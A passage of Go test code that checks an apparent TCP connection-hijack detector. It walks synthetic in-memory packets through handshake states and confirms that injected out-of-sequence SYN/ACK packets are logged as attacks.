ip6Layer.SerializeTo(buffer, options) } return pcap.CreatePcap(event.Timestamp.Time, buffer.Bytes(), layers.LinkTypeRaw) }
func TestTCPHijack(t *testing.T) { attackLogger := NewDummyAttackLogger() options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: nil, LogDir: "fake-log-dir", DetectHijack: true, } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) conn.AttackLogger = attackLogger ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ Seq: 3, SYN: true, ACK: false, SrcPort: 1, DstPort: 2, } ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) p := types.PacketManifest{ Timestamp: time.Now(), Flow: flow, IP: ip, TCP: tcp, Payload: []byte{}, } tcp.SetNetworkLayerForChecksum(&ip) flowReversed := flow.Reverse() conn.clientFlow = flow conn.serverFlow = flowReversed conn.ReceivePacket(&p) if conn.state != TCP_CONNECTION_REQUEST { t.Error("invalid state transition\n") t.Fail() } // next state transition test ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 9, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flowReversed, IP: ip, TCP: tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if conn.state != TCP_CONNECTION_ESTABLISHED { t.Errorf("invalid state transition: current state %d\n", conn.state) t.Fail() } // test hijack in TCP_CONNECTION_ESTABLISHED state ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 6699, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flowReversed, IP: ip, TCP: tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if attackLogger.Count != 1 { t.Error("hijack detection fail") t.Fail() } // next state transition test ip = layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 4, SYN: false, ACK: true, Ack: 10, SrcPort: 1, DstPort: 2, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flow, IP: ip, TCP: tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if conn.state != TCP_DATA_TRANSFER { t.Errorf("invalid state transition; state is %d\n", conn.state) t.Fail() } // test hijack in TCP_DATA_TRANSFER state ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 7711, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flowReversed, IP: ip, TCP: tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if attackLogger.Count != 2 { t.Error("hijack detection fail") t.Fail() } }